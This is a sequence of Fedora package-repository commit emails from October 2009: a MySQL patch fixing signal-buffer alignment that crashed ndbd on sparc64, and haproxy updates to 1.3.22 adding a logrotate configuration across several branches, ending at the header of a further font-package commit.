Subject: rpms/mysql/devel mysql-signal-align.patch, NONE, 1.1 mysql.spec,
	1.131, 1.132 mysql-sparc-gcc-bug.patch, 1.1, NONE
Message-ID: <20091017212659.2310A11C00EC@cvs1.fedora.phx.redhat.com>

Author: tgl

Update of /cvs/pkgs/rpms/mysql/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24013

Modified Files:
	mysql.spec 
Added Files:
	mysql-signal-align.patch 
Removed Files:
	mysql-sparc-gcc-bug.patch 
Log Message:
Replace kluge fix for ndbd sparc crash with a real fix (mysql bug 48132)

mysql-signal-align.patch:
 dbtup/DbtupRoutines.cpp |    5 +++--
 ndbfs/AsyncFile.cpp     |    4 ++--
 2 files changed, 5 insertions(+), 4 deletions(-)

--- NEW FILE mysql-signal-align.patch ---
Fix a bit of silliness; the original coding not only computes the required
size of the temp variable incorrectly, but doesn't guarantee the correct
alignment.  This demonstrably leads to ndbd crashing at launch on sparc64,
and is probably bad news for performance on other 64-bit machines even
if they don't give an actual SIGBUS.

Filed upstream at http://bugs.mysql.com/bug.php?id=48132


diff -Naur mysql-5.1.39.orig/storage/ndb/src/kernel/blocks/dbtup/DbtupRoutines.cpp mysql-5.1.39/storage/ndb/src/kernel/blocks/dbtup/DbtupRoutines.cpp
--- mysql-5.1.39.orig/storage/ndb/src/kernel/blocks/dbtup/DbtupRoutines.cpp	2009-09-04 12:21:18.000000000 -0400
+++ mysql-5.1.39/storage/ndb/src/kernel/blocks/dbtup/DbtupRoutines.cpp	2009-10-17 14:24:56.000000000 -0400
@@ -1144,8 +1144,9 @@
                    KeyReqStruct *req_struct,
                    Uint32* outBuffer)
 {
-  Uint32 tmp[sizeof(SignalHeader)+25];
-  Signal * signal = (Signal*)&tmp;
+  SignalT<25> signalT;
+  Signal *signal= (Signal*)&signalT;
+
   switch(attrId){
   case AttributeHeader::FRAGMENT:
     * outBuffer = fragptr.p->fragmentId;
diff -Naur mysql-5.1.39.orig/storage/ndb/src/kernel/blocks/ndbfs/AsyncFile.cpp mysql-5.1.39/storage/ndb/src/kernel/blocks/ndbfs/AsyncFile.cpp
--- mysql-5.1.39.orig/storage/ndb/src/kernel/blocks/ndbfs/AsyncFile.cpp	2009-09-04 12:21:19.000000000 -0400
+++ mysql-5.1.39/storage/ndb/src/kernel/blocks/ndbfs/AsyncFile.cpp	2009-10-17 14:26:21.000000000 -0400
@@ -529,8 +529,8 @@
   {
     off_t off = 0;
     const off_t sz = request->par.open.file_size;
-    Uint32 tmp[sizeof(SignalHeader)+25];
-    Signal * signal = (Signal*)(&tmp[0]);
+    SignalT<25> signalT;
+    Signal *signal= (Signal*)&signalT;
     FsReadWriteReq* req = (FsReadWriteReq*)signal->getDataPtrSend();
 
     Uint32 index = 0;


Index: mysql.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mysql/devel/mysql.spec,v
retrieving revision 1.131
retrieving revision 1.132
diff -u -p -r1.131 -r1.132
--- mysql.spec	16 Oct 2009 04:26:47 -0000	1.131
+++ mysql.spec	17 Oct 2009 21:26:58 -0000	1.132
@@ -1,6 +1,6 @@
 Name: mysql
 Version: 5.1.39
-Release: 3%{?dist}
+Release: 4%{?dist}
 Summary: MySQL client programs and shared libraries
 Group: Applications/Databases
 URL: http://www.mysql.com
@@ -33,7 +33,7 @@ Patch7: mysql-plugin-bug.patch
 Patch8: mysql-setschedparam.patch
 Patch9: mysql-ndb-stacksize.patch
 Patch10: mysql-strmov.patch
-Patch11: mysql-sparc-gcc-bug.patch
+Patch11: mysql-signal-align.patch
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
 BuildRequires: gperf, perl, readline-devel, openssl-devel
@@ -649,6 +649,9 @@ fi
 %{_mandir}/man1/mysql_client_test.1*
 
 %changelog
+* Sat Oct 17 2009 Tom Lane <tgl at redhat.com> 5.1.39-4
+- Replace kluge fix for ndbd sparc crash with a real fix (mysql bug 48132)
+
 * Thu Oct 15 2009 Tom Lane <tgl at redhat.com> 5.1.39-3
 - Work around two different compiler bugs on sparc, one by backing off
   optimization from -O2 to -O1, and the other with a klugy patch


--- mysql-sparc-gcc-bug.patch DELETED ---



From jjh at fedoraproject.org  Sat Oct 17 21:29:47 2009
From: jjh at fedoraproject.org (jjh)
Date: Sat, 17 Oct 2009 21:29:47 +0000 (UTC)
Subject: rpms/haproxy/EL-4 haproxy.logrotate, NONE, 1.1 .cvsignore, 1.14,
	1.15 haproxy.spec, 1.18, 1.19 sources, 1.14, 1.15
Message-ID: <20091017212947.8379E11C00EC@cvs1.fedora.phx.redhat.com>

Author: jjh

Update of /cvs/pkgs/rpms/haproxy/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24687/EL-4

Modified Files:
	.cvsignore haproxy.spec sources 
Added Files:
	haproxy.logrotate 
Log Message:
update to 1.3.22 and add logrotate configuration


--- NEW FILE haproxy.logrotate ---
/var/log/haproxy.log {
    daily
    rotate 10
    missingok
    notifempty
    compress
    sharedscripts
    postrotate
        /bin/kill -HUP `cat /var/run/syslogd.pid 2> /dev/null` 2> /dev/null || true
        /bin/kill -HUP `cat /var/run/rsyslogd.pid 2> /dev/null` 2> /dev/null || true
    endscript
}


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/EL-4/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	12 Oct 2009 06:22:46 -0000	1.14
+++ .cvsignore	17 Oct 2009 21:29:47 -0000	1.15
@@ -1,3 +1,4 @@
 haproxy-1.3.19.tar.gz
 haproxy-1.3.20.tar.gz
 haproxy-1.3.21.tar.gz
+haproxy-1.3.22.tar.gz


Index: haproxy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/EL-4/haproxy.spec,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- haproxy.spec	12 Oct 2009 06:22:46 -0000	1.18
+++ haproxy.spec	17 Oct 2009 21:29:47 -0000	1.19
@@ -16,6 +16,7 @@ URL:            http://haproxy.1wt.eu/
 Source0:        http://haproxy.1wt.eu/download/1.3/src/haproxy-%{version}.tar.gz
 Source1:        %{name}.init
 Source2:        %{name}.cfg
+Source3:        %{name}.logrotate
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:  pcre-devel 
@@ -61,6 +62,7 @@ rm -rf %{buildroot}
 %{__install} -p -D -m 0755 %{name} %{buildroot}%{_sbindir}/%{name}
 %{__install} -p -D -m 0755 %{SOURCE1} %{buildroot}%{_initrddir}/%{name}
 %{__install} -p -D -m 0644 %{SOURCE2} %{buildroot}%{haproxy_confdir}/%{name}.cfg
+%{__install} -p -D -m 0644 %{SOURCE3} %{buildroot}%{_sysconfdir}/logrotate.d/%{name}
 %{__install} -d -m 0755 %{buildroot}%{haproxy_home}
 %{__install} -d -m 0755 %{buildroot}%{haproxy_datadir}
 %{__install} -p -D -m 0644 ./doc/%{name}.1 %{buildroot}%{_mandir}/man1/%{name}.1
@@ -118,6 +120,7 @@ fi  
 %dir %{haproxy_datadir}/*
 %dir %{haproxy_confdir}
 %config(noreplace) %{haproxy_confdir}/%{name}.cfg
+%config(noreplace) %{_sysconfdir}/logrotate.d/%{name}
 %{_initrddir}/%{name}
 %{_sbindir}/%{name}
 %{_mandir}/man1/%{name}.1.gz
@@ -125,6 +128,10 @@ fi  
 
 
 %changelog
+* Sat Oct 17 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.3.22-2
+- update to 1.3.22
+- add logrotate configuration
+
 * Mon Oct 12 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.3.21-1
 - update to 1.3.21
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/EL-4/sources,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- sources	12 Oct 2009 06:22:46 -0000	1.14
+++ sources	17 Oct 2009 21:29:47 -0000	1.15
@@ -1 +1,2 @@
 d591cc9aca0b81ea8ccda8db958c1f44  haproxy-1.3.21.tar.gz
+b84e0935cfea99eda43645d53bb82367  haproxy-1.3.22.tar.gz



From jjh at fedoraproject.org  Sat Oct 17 21:29:47 2009
From: jjh at fedoraproject.org (jjh)
Date: Sat, 17 Oct 2009 21:29:47 +0000 (UTC)
Subject: rpms/haproxy/EL-5 haproxy.logrotate, NONE, 1.1 .cvsignore, 1.14,
	1.15 haproxy.spec, 1.18, 1.19 sources, 1.14, 1.15
Message-ID: <20091017212947.D382F11C00EC@cvs1.fedora.phx.redhat.com>

Author: jjh

Update of /cvs/pkgs/rpms/haproxy/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24687/EL-5

Modified Files:
	.cvsignore haproxy.spec sources 
Added Files:
	haproxy.logrotate 
Log Message:
update to 1.3.22 and add logrotate configuration


--- NEW FILE haproxy.logrotate ---
/var/log/haproxy.log {
    daily
    rotate 10
    missingok
    notifempty
    compress
    sharedscripts
    postrotate
        /bin/kill -HUP `cat /var/run/syslogd.pid 2> /dev/null` 2> /dev/null || true
        /bin/kill -HUP `cat /var/run/rsyslogd.pid 2> /dev/null` 2> /dev/null || true
    endscript
}


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/EL-5/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	12 Oct 2009 06:22:46 -0000	1.14
+++ .cvsignore	17 Oct 2009 21:29:47 -0000	1.15
@@ -1,3 +1,4 @@
 haproxy-1.3.19.tar.gz
 haproxy-1.3.20.tar.gz
 haproxy-1.3.21.tar.gz
+haproxy-1.3.22.tar.gz


Index: haproxy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/EL-5/haproxy.spec,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- haproxy.spec	12 Oct 2009 06:22:46 -0000	1.18
+++ haproxy.spec	17 Oct 2009 21:29:47 -0000	1.19
@@ -16,6 +16,7 @@ URL:            http://haproxy.1wt.eu/
 Source0:        http://haproxy.1wt.eu/download/1.3/src/haproxy-%{version}.tar.gz
 Source1:        %{name}.init
 Source2:        %{name}.cfg
+Source3:        %{name}.logrotate
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:  pcre-devel 
@@ -60,6 +61,7 @@ rm -rf %{buildroot}
 %{__install} -p -D -m 0755 %{name} %{buildroot}%{_sbindir}/%{name}
 %{__install} -p -D -m 0755 %{SOURCE1} %{buildroot}%{_initrddir}/%{name}
 %{__install} -p -D -m 0644 %{SOURCE2} %{buildroot}%{haproxy_confdir}/%{name}.cfg
+%{__install} -p -D -m 0644 %{SOURCE3} %{buildroot}%{_sysconfdir}/logrotate.d/%{name}
 %{__install} -d -m 0755 %{buildroot}%{haproxy_home}
 %{__install} -d -m 0755 %{buildroot}%{haproxy_datadir}
 %{__install} -p -D -m 0644 ./doc/%{name}.1 %{buildroot}%{_mandir}/man1/%{name}.1
@@ -117,6 +119,7 @@ fi  
 %dir %{haproxy_datadir}/*
 %dir %{haproxy_confdir}
 %config(noreplace) %{haproxy_confdir}/%{name}.cfg
+%config(noreplace) %{_sysconfdir}/logrotate.d/%{name}
 %{_initrddir}/%{name}
 %{_sbindir}/%{name}
 %{_mandir}/man1/%{name}.1.gz
@@ -124,6 +127,10 @@ fi  
 
 
 %changelog
+* Sat Oct 17 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.3.22-2
+- update to 1.3.22
+- add logrotate configuration
+
 * Mon Oct 12 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.3.21-1
 - update to 1.3.21
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/EL-5/sources,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- sources	12 Oct 2009 06:22:46 -0000	1.14
+++ sources	17 Oct 2009 21:29:47 -0000	1.15
@@ -1 +1,2 @@
 d591cc9aca0b81ea8ccda8db958c1f44  haproxy-1.3.21.tar.gz
+b84e0935cfea99eda43645d53bb82367  haproxy-1.3.22.tar.gz



From jjh at fedoraproject.org  Sat Oct 17 21:29:48 2009
From: jjh at fedoraproject.org (jjh)
Date: Sat, 17 Oct 2009 21:29:48 +0000 (UTC)
Subject: rpms/haproxy/F-10 haproxy.logrotate, NONE, 1.1 .cvsignore, 1.16,
	1.17 haproxy.spec, 1.19, 1.20 sources, 1.16, 1.17
Message-ID: <20091017212948.4425911C00EC@cvs1.fedora.phx.redhat.com>

Author: jjh

Update of /cvs/pkgs/rpms/haproxy/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24687/F-10

Modified Files:
	.cvsignore haproxy.spec sources 
Added Files:
	haproxy.logrotate 
Log Message:
update to 1.3.22 and add logrotate configuration


--- NEW FILE haproxy.logrotate ---
/var/log/haproxy.log {
    daily
    rotate 10
    missingok
    notifempty
    compress
    sharedscripts
    postrotate
        /bin/kill -HUP `cat /var/run/syslogd.pid 2> /dev/null` 2> /dev/null || true
        /bin/kill -HUP `cat /var/run/rsyslogd.pid 2> /dev/null` 2> /dev/null || true
    endscript
}


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/F-10/.cvsignore,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- .cvsignore	12 Oct 2009 06:22:47 -0000	1.16
+++ .cvsignore	17 Oct 2009 21:29:47 -0000	1.17
@@ -1,3 +1,4 @@
 haproxy-1.3.19.tar.gz
 haproxy-1.3.20.tar.gz
 haproxy-1.3.21.tar.gz
+haproxy-1.3.22.tar.gz


Index: haproxy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/F-10/haproxy.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- haproxy.spec	12 Oct 2009 06:22:47 -0000	1.19
+++ haproxy.spec	17 Oct 2009 21:29:47 -0000	1.20
@@ -16,6 +16,7 @@ URL:            http://haproxy.1wt.eu/
 Source0:        http://haproxy.1wt.eu/download/1.3/src/haproxy-%{version}.tar.gz
 Source1:        %{name}.init
 Source2:        %{name}.cfg
+Source3:        %{name}.logrotate
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:  pcre-devel 
@@ -63,6 +64,7 @@ make install-man DESTDIR=%{buildroot} PR
 
 %{__install} -p -D -m 0755 %{SOURCE1} %{buildroot}%{_initrddir}/%{name}
 %{__install} -p -D -m 0644 %{SOURCE2} %{buildroot}%{haproxy_confdir}/%{name}.cfg
+%{__install} -p -D -m 0644 %{SOURCE3} %{buildroot}%{_sysconfdir}/logrotate.d/%{name}
 %{__install} -d -m 0755 %{buildroot}%{haproxy_home}
 %{__install} -d -m 0755 %{buildroot}%{haproxy_datadir}
 
@@ -120,6 +122,7 @@ fi  
 %dir %{haproxy_datadir}/*
 %dir %{haproxy_confdir}
 %config(noreplace) %{haproxy_confdir}/%{name}.cfg
+%config(noreplace) %{_sysconfdir}/logrotate.d/%{name}
 %{_initrddir}/%{name}
 %{_sbindir}/%{name}
 %{_mandir}/man1/%{name}.1.gz
@@ -127,6 +130,10 @@ fi  
 
 
 %changelog
+* Sat Oct 17 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.3.22-2
+- update to 1.3.22
+- add logrotate configuration
+
 * Mon Oct 12 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.3.21-1
 - update to 1.3.21
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/F-10/sources,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- sources	12 Oct 2009 06:22:47 -0000	1.16
+++ sources	17 Oct 2009 21:29:48 -0000	1.17
@@ -1 +1,2 @@
 d591cc9aca0b81ea8ccda8db958c1f44  haproxy-1.3.21.tar.gz
+b84e0935cfea99eda43645d53bb82367  haproxy-1.3.22.tar.gz



From jjh at fedoraproject.org  Sat Oct 17 21:29:48 2009
From: jjh at fedoraproject.org (jjh)
Date: Sat, 17 Oct 2009 21:29:48 +0000 (UTC)
Subject: rpms/haproxy/F-11 haproxy.logrotate, NONE, 1.1 .cvsignore, 1.16,
	1.17 haproxy.spec, 1.22, 1.23 sources, 1.16, 1.17
Message-ID: <20091017212948.B3BC211C00EC@cvs1.fedora.phx.redhat.com>

Author: jjh

Update of /cvs/pkgs/rpms/haproxy/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24687/F-11

Modified Files:
	.cvsignore haproxy.spec sources 
Added Files:
	haproxy.logrotate 
Log Message:
update to 1.3.22 and add logrotate configuration


--- NEW FILE haproxy.logrotate ---
/var/log/haproxy.log {
    daily
    rotate 10
    missingok
    notifempty
    compress
    sharedscripts
    postrotate
        /bin/kill -HUP `cat /var/run/syslogd.pid 2> /dev/null` 2> /dev/null || true
        /bin/kill -HUP `cat /var/run/rsyslogd.pid 2> /dev/null` 2> /dev/null || true
    endscript
}


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/F-11/.cvsignore,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- .cvsignore	12 Oct 2009 06:22:47 -0000	1.16
+++ .cvsignore	17 Oct 2009 21:29:48 -0000	1.17
@@ -1,3 +1,4 @@
 haproxy-1.3.19.tar.gz
 haproxy-1.3.20.tar.gz
 haproxy-1.3.21.tar.gz
+haproxy-1.3.22.tar.gz


Index: haproxy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/F-11/haproxy.spec,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- haproxy.spec	12 Oct 2009 06:22:47 -0000	1.22
+++ haproxy.spec	17 Oct 2009 21:29:48 -0000	1.23
@@ -16,6 +16,7 @@ URL:            http://haproxy.1wt.eu/
 Source0:        http://haproxy.1wt.eu/download/1.3/src/haproxy-%{version}.tar.gz
 Source1:        %{name}.init
 Source2:        %{name}.cfg
+Source3:        %{name}.logrotate
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:  pcre-devel 
@@ -63,6 +64,7 @@ make install-man DESTDIR=%{buildroot} PR
 
 %{__install} -p -D -m 0755 %{SOURCE1} %{buildroot}%{_initrddir}/%{name}
 %{__install} -p -D -m 0644 %{SOURCE2} %{buildroot}%{haproxy_confdir}/%{name}.cfg
+%{__install} -p -D -m 0644 %{SOURCE3} %{buildroot}%{_sysconfdir}/logrotate.d/%{name}
 %{__install} -d -m 0755 %{buildroot}%{haproxy_home}
 %{__install} -d -m 0755 %{buildroot}%{haproxy_datadir}
 
@@ -120,6 +122,7 @@ fi  
 %dir %{haproxy_datadir}/*
 %dir %{haproxy_confdir}
 %config(noreplace) %{haproxy_confdir}/%{name}.cfg
+%config(noreplace) %{_sysconfdir}/logrotate.d/%{name}
 %{_initrddir}/%{name}
 %{_sbindir}/%{name}
 %{_mandir}/man1/%{name}.1.gz
@@ -127,6 +130,10 @@ fi  
 
 
 %changelog
+* Sat Oct 17 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.3.22-2
+- update to 1.3.22
+- add logrotate configuration
+
 * Mon Oct 12 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.3.21-1
 - update to 1.3.21
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/F-11/sources,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- sources	12 Oct 2009 06:22:47 -0000	1.16
+++ sources	17 Oct 2009 21:29:48 -0000	1.17
@@ -1 +1,2 @@
 d591cc9aca0b81ea8ccda8db958c1f44  haproxy-1.3.21.tar.gz
+b84e0935cfea99eda43645d53bb82367  haproxy-1.3.22.tar.gz



From jjh at fedoraproject.org  Sat Oct 17 21:29:49 2009
From: jjh at fedoraproject.org (jjh)
Date: Sat, 17 Oct 2009 21:29:49 +0000 (UTC)
Subject: rpms/haproxy/F-12 haproxy.logrotate, NONE, 1.1 .cvsignore, 1.16,
	1.17 haproxy.spec, 1.24, 1.25 sources, 1.16, 1.17
Message-ID: <20091017212949.19C0211C00EC@cvs1.fedora.phx.redhat.com>

Author: jjh

Update of /cvs/pkgs/rpms/haproxy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24687/F-12

Modified Files:
	.cvsignore haproxy.spec sources 
Added Files:
	haproxy.logrotate 
Log Message:
update to 1.3.22 and add logrotate configuration


--- NEW FILE haproxy.logrotate ---
/var/log/haproxy.log {
    daily
    rotate 10
    missingok
    notifempty
    compress
    sharedscripts
    postrotate
        /bin/kill -HUP `cat /var/run/syslogd.pid 2> /dev/null` 2> /dev/null || true
        /bin/kill -HUP `cat /var/run/rsyslogd.pid 2> /dev/null` 2> /dev/null || true
    endscript
}


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/F-12/.cvsignore,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- .cvsignore	12 Oct 2009 06:22:47 -0000	1.16
+++ .cvsignore	17 Oct 2009 21:29:48 -0000	1.17
@@ -1,3 +1,4 @@
 haproxy-1.3.19.tar.gz
 haproxy-1.3.20.tar.gz
 haproxy-1.3.21.tar.gz
+haproxy-1.3.22.tar.gz


Index: haproxy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/F-12/haproxy.spec,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- haproxy.spec	12 Oct 2009 06:22:47 -0000	1.24
+++ haproxy.spec	17 Oct 2009 21:29:48 -0000	1.25
@@ -16,6 +16,7 @@ URL:            http://haproxy.1wt.eu/
 Source0:        http://haproxy.1wt.eu/download/1.3/src/haproxy-%{version}.tar.gz
 Source1:        %{name}.init
 Source2:        %{name}.cfg
+Source3:        %{name}.logrotate
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:  pcre-devel 
@@ -63,6 +64,7 @@ make install-man DESTDIR=%{buildroot} PR
 
 %{__install} -p -D -m 0755 %{SOURCE1} %{buildroot}%{_initrddir}/%{name}
 %{__install} -p -D -m 0644 %{SOURCE2} %{buildroot}%{haproxy_confdir}/%{name}.cfg
+%{__install} -p -D -m 0644 %{SOURCE3} %{buildroot}%{_sysconfdir}/logrotate.d/%{name}
 %{__install} -d -m 0755 %{buildroot}%{haproxy_home}
 %{__install} -d -m 0755 %{buildroot}%{haproxy_datadir}
 
@@ -120,6 +122,7 @@ fi  
 %dir %{haproxy_datadir}/*
 %dir %{haproxy_confdir}
 %config(noreplace) %{haproxy_confdir}/%{name}.cfg
+%config(noreplace) %{_sysconfdir}/logrotate.d/%{name}
 %{_initrddir}/%{name}
 %{_sbindir}/%{name}
 %{_mandir}/man1/%{name}.1.gz
@@ -127,6 +130,10 @@ fi  
 
 
 %changelog
+* Sat Oct 17 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.3.22-2
+- update to 1.3.22
+- add logrotate configuration
+
 * Mon Oct 12 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.3.21-1
 - update to 1.3.21 
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/F-12/sources,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- sources	12 Oct 2009 06:22:47 -0000	1.16
+++ sources	17 Oct 2009 21:29:48 -0000	1.17
@@ -1 +1,2 @@
 d591cc9aca0b81ea8ccda8db958c1f44  haproxy-1.3.21.tar.gz
+b84e0935cfea99eda43645d53bb82367  haproxy-1.3.22.tar.gz



From jjh at fedoraproject.org  Sat Oct 17 21:34:00 2009
From: jjh at fedoraproject.org (jjh)
Date: Sat, 17 Oct 2009 21:34:00 +0000 (UTC)
Subject: rpms/haproxy/EL-4 haproxy.spec,1.19,1.20
Message-ID: <20091017213400.7A30311C00EC@cvs1.fedora.phx.redhat.com>

Author: jjh

Update of /cvs/pkgs/rpms/haproxy/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26279/EL-4

Modified Files:
	haproxy.spec 
Log Message:
version bump


Index: haproxy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/EL-4/haproxy.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- haproxy.spec	17 Oct 2009 21:29:47 -0000	1.19
+++ haproxy.spec	17 Oct 2009 21:34:00 -0000	1.20
@@ -5,7 +5,7 @@
 %define haproxy_datadir %{_datadir}/haproxy
 
 Name:           haproxy
-Version:        1.3.21
+Version:        1.3.22
 Release:        1%{?dist}
 Summary:        HA-Proxy is a TCP/HTTP reverse proxy for high availability environments
 



From jjh at fedoraproject.org  Sat Oct 17 21:34:00 2009
From: jjh at fedoraproject.org (jjh)
Date: Sat, 17 Oct 2009 21:34:00 +0000 (UTC)
Subject: rpms/haproxy/EL-5 haproxy.spec,1.19,1.20
Message-ID: <20091017213400.9E0DA11C00EC@cvs1.fedora.phx.redhat.com>

Author: jjh

Update of /cvs/pkgs/rpms/haproxy/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26279/EL-5

Modified Files:
	haproxy.spec 
Log Message:
version bump


Index: haproxy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/EL-5/haproxy.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- haproxy.spec	17 Oct 2009 21:29:47 -0000	1.19
+++ haproxy.spec	17 Oct 2009 21:34:00 -0000	1.20
@@ -5,7 +5,7 @@
 %define haproxy_datadir %{_datadir}/haproxy
 
 Name:           haproxy
-Version:        1.3.21
+Version:        1.3.22
 Release:        1%{?dist}
 Summary:        HA-Proxy is a TCP/HTTP reverse proxy for high availability environments
 



From jjh at fedoraproject.org  Sat Oct 17 21:34:00 2009
From: jjh at fedoraproject.org (jjh)
Date: Sat, 17 Oct 2009 21:34:00 +0000 (UTC)
Subject: rpms/haproxy/F-10 haproxy.spec,1.20,1.21
Message-ID: <20091017213400.CE22F11C00EC@cvs1.fedora.phx.redhat.com>

Author: jjh

Update of /cvs/pkgs/rpms/haproxy/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26279/F-10

Modified Files:
	haproxy.spec 
Log Message:
version bump


Index: haproxy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/F-10/haproxy.spec,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- haproxy.spec	17 Oct 2009 21:29:47 -0000	1.20
+++ haproxy.spec	17 Oct 2009 21:34:00 -0000	1.21
@@ -5,7 +5,7 @@
 %define haproxy_datadir %{_datadir}/haproxy
 
 Name:           haproxy
-Version:        1.3.21
+Version:        1.3.22
 Release:        1%{?dist}
 Summary:        HA-Proxy is a TCP/HTTP reverse proxy for high availability environments
 



From jjh at fedoraproject.org  Sat Oct 17 21:34:01 2009
From: jjh at fedoraproject.org (jjh)
Date: Sat, 17 Oct 2009 21:34:01 +0000 (UTC)
Subject: rpms/haproxy/F-12 haproxy.spec,1.25,1.26
Message-ID: <20091017213401.3ABAD11C00EC@cvs1.fedora.phx.redhat.com>

Author: jjh

Update of /cvs/pkgs/rpms/haproxy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26279/F-12

Modified Files:
	haproxy.spec 
Log Message:
version bump


Index: haproxy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/F-12/haproxy.spec,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- haproxy.spec	17 Oct 2009 21:29:48 -0000	1.25
+++ haproxy.spec	17 Oct 2009 21:34:01 -0000	1.26
@@ -5,7 +5,7 @@
 %define haproxy_datadir %{_datadir}/haproxy
 
 Name:           haproxy
-Version:        1.3.21
+Version:        1.3.22
 Release:        1%{?dist}
 Summary:        HA-Proxy is a TCP/HTTP reverse proxy for high availability environments
 



From jjh at fedoraproject.org  Sat Oct 17 21:34:01 2009
From: jjh at fedoraproject.org (jjh)
Date: Sat, 17 Oct 2009 21:34:01 +0000 (UTC)
Subject: rpms/haproxy/F-11 haproxy.spec,1.23,1.24
Message-ID: <20091017213401.00B6A11C00EC@cvs1.fedora.phx.redhat.com>

Author: jjh

Update of /cvs/pkgs/rpms/haproxy/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26279/F-11

Modified Files:
	haproxy.spec 
Log Message:
version bump


Index: haproxy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/F-11/haproxy.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- haproxy.spec	17 Oct 2009 21:29:48 -0000	1.23
+++ haproxy.spec	17 Oct 2009 21:34:00 -0000	1.24
@@ -5,7 +5,7 @@
 %define haproxy_datadir %{_datadir}/haproxy
 
 Name:           haproxy
-Version:        1.3.21
+Version:        1.3.22
 Release:        1%{?dist}
 Summary:        HA-Proxy is a TCP/HTTP reverse proxy for high availability environments
 



From hedayat at fedoraproject.org  Sat Oct 17 21:59:51 2009
From: hedayat at fedoraproject.org (Hedayat Vatankhah)
Date: Sat, 17 Oct 2009 21:59:51 +0000 (UTC)
Subject: rpms/sil-lateef-fonts/devel import.log, NONE,
	1.1 sil-lateef-fonts-fontconfig.conf, NONE,
	1.1 sil-lateef-fonts.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
